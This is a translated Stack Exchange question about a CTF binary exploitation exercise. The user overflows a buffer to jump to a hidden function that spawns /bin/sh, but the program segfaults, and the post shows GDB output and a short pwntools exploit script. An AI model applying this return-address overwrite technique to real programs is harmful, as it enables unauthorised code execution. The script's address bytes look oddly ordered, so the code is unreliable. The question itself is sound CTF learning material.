CTF缓冲区溢出调用隐藏shell函数触发段错误求助

问题背景 #

我在CTF竞赛中需要通过缓冲区溢出调用执行/bin/sh的隐藏函数来获取flag。目前已成功溢出缓冲区并跳转到该隐藏函数，但进入函数后触发了段错误。

GDB调试输出 #

[ Zerochain ]
1. Add Note
2. Delete Note
3. View Note
4. Vulnerable Log
5. Exit
Your choice: 
Breakpoint 1, 0x0000000000401570 in vulnerable_log ()
(gdb) x/xg $rbp
0x7fffffffdc30: 0x00007fffffffdc50
(gdb) c
Continuing.
Enter log message: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, 0x00000000004015b6 in hidden_shell ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e045d4 in do_system (line=0x402113 "/bin/sh") at ../sysdeps/posix/system.c:148
warning: 148    ../sysdeps/posix/system.c: No such file or directory

漏洞利用脚本 #

import sys
from pwn import * 


padding = b"\x41" * (123+9)
return_adress = b"\x00\x00\x00\x00\x00\xb2\x15\x40"
sys.stdout.buffer.write("4".encode())
sys.stdout.buffer.write(padding+return_adress)

可提供程序文件及CTF题目链接以协助排查问题。

内容的提问来源于stack exchange，提问作者Egelund48